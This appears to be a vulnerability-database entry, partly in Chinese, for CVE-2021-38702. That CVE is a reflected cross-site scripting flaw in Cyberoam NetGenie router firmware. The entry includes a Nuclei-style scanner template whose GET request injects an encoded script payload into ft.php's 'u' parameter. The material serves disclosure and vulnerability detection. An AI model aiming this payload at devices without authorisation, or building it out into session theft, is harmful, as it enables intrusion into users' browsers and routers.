CVE-2021-38702: Cyberoam NetGenie Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Cyberoam NetGenie | POC: 已公开

漏洞描述

Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 are susceptible to reflected cross-site scripting via the 'u' parameter of ft.php.

PoC代码[已公开]

id: CVE-2021-38702

info:
  name: Cyberoam NetGenie Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 are susceptible to reflected cross-site scripting via the 'u' parameter of ft.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or firmware updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2021/Aug/20
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38702
    - http://www.cyberoamworks.com/NetGenie-Home.asp
    - http://packetstormsecurity.com/files/163859/Cyberoam-NetGenie-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-38702
    cwe-id: CWE-79
    epss-score: 0.469
    epss-percentile: 0.97609
    cpe: cpe:2.3:o:cyberoamworks:netgenie_c0101b1-20141120-ng11vo_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cyberoamworks
    product: netgenie_c0101b1-20141120-ng11vo_firmware
  tags: cve2021,cve,cyberoam,netgenie,xss,router,seclists,packetstorm,cyberoamworks

http:
  - method: GET
    path:
      - "{{BaseURL}}/tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210084baf3beba984ced6f679b2cd337283d0b037718de3c897212c0926244611321022018cebbc6aab2d76728629fcb769ff721dabd010f395a1b9bdcafe0c2dde1330d:922c64590222798bb761d5b6d8e72950